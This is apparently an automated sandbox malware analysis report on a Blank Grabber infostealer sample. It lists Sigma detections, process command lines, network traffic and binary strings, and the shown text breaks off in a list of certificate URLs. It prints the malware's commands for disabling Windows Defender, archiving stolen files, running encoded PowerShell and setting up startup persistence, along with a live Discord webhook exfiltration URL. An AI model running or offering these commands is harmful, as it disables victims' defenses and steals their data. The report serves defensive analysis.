Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\cmd.exe, ProcessId: 7280, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\cmd.exe, ProcessId: 7280, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\cmd.exe, ProcessId: 7280, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8300, TargetFilename: C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 9148, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *, ProcessId: 9204, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 7484, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6044, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: cmd.exe.7280.1.memstrmin

Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0"}

Multi AV Scanner detection for submitted file

Source: cmd.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

Code function: 65_2_00007FF69A3F901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

65_2_00007FF69A3F901C

Source: cmd.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: cmd.exe, 00000001.00000002.2106778885.00007FFE126D1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: cmd.exe, 00000001.00000002.2107248205.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: cmd.exe, 00000001.00000002.2105906140.00007FFE11EA1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: cmd.exe, 00000001.00000002.2103718969.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe, 00000041.00000000.1938364077.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdb source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdbhP source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: cmd.exe, 00000001.00000002.2107479396.00007FFE13301000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: cmd.exe, 00000001.00000002.2101639758.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: cmd.exe, 00000001.00000002.2105061798.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: cmd.exe, 00000001.00000002.2105587009.00007FFE11511000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: )i.pdb source: powershell.exe, 0000002A.00000002.1915922706.00000216A4BB6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: cmd.exe, 00000001.00000002.2107751391.00007FFE13331000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:15:42 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: cmd.exe, 00000001.00000002.2105325798.00007FFE10301000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB390000.00000040.00000001.01000000.0000000F.sdmp

Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEF83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF70AEF83B0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEF92F0 FindFirstFileExW,FindClose,	0_2_00007FF70AEF92F0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF118E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF70AF118E4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4046EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	65_2_00007FF69A4046EC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3FE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	65_2_00007FF69A3FE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4488E0 FindFirstFileExA,	65_2_00007FF69A4488E0

Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 162.159.128.233 162.159.128.233

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 699973User-Agent: python-urllib3/2.2.3Content-Type: multipart/form-data; boundary=deddcaf575f75e2dd616d5b567df1560

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Nov 2024 18:44:40 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1732387481x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8dnofcTgJO77a0qvnY06ZSBgJThFUi8RPU8CzONyuww46HrhNSYoQIulPhbjpsHEv8wynrDDGIVboMnd6LkVRJj0bS6cflMBGGEW9Mg25a0WM87vZtObL%2FuVdqpj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=bfbee4d8f0c66307eb752299893c7bde277a9e1d-1732387480; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=r8z8dclj1LJ.4o5SqnVjdAiCBtWH7bkTOCEb1MOHljw-1732387480233-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e734fba9c4d8c7e-EWR

Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 